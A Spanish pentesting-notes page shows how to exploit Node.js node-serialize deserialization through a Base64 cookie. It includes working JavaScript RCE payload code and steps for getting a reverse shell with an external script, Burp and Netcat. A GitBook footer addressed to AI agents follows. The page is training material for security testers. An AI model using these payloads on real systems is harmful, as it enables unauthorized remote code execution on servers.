> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Deserialización de Node.js en Base64

## Deserialización (node.js)

Con Burp Suite, intercepta la solicitud y encuentra un **cookie codificada en Base64**:

<figure><img src="/files/efa741951847c7fc89401188e30428eb26505d24" alt="" width="563"><figcaption></figcaption></figure>

### **Manual:**

El **serialize.js** el archivo de abajo serializa los datos y ejecuta un comando, en este caso `id`, en **nuestra máquina**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serializado: /n" + serialize.serialize(y));

```

<figure><img src="/files/aa4301a862194106eddf8471b2cbd8c85da9bc27" alt="" width="534"><figcaption></figcaption></figure>

Para enviar la carga útil al **servidor**, crea el **unserialize.js** archivo de abajo:

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/f0923ad7a0bf33cc88dcf7bfb50e272b20925104" alt="" width="536"><figcaption></figcaption></figure>

### **Automáticamente:**

Usa esto [script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), súbelo y ejecútalo con **python2.7**:

<figure><img src="/files/3769d042c4dc2987b3df14178251d733be96dd1d" alt="" width="563"><figcaption></figcaption></figure>

Crea un archivo llamado `de datos` con el contenido de abajo, y reemplaza **input** con el contenido del script:

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/e6bf9c33d68c9eea72ce4a2a95eaaf5188e8f835" alt="" width="563"><figcaption></figcaption></figure>

Finalmente, convierte este archivo a **Base64**:

<figure><img src="/files/bfe90e674086f95a33f81edac13896494d3c5a4b" alt="" width="563"><figcaption></figcaption></figure>

Pega el contenido en Burp Suite:

<figure><img src="/files/3c09dd4aafcff1abf1d3474a1aee47294af25fb3" alt="" width="563"><figcaption></figcaption></figure>

Con **Netcat**, escucha y obtén acceso:

<figure><img src="/files/56b3eabd413189637d45373bf5fd99d9a94b662f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
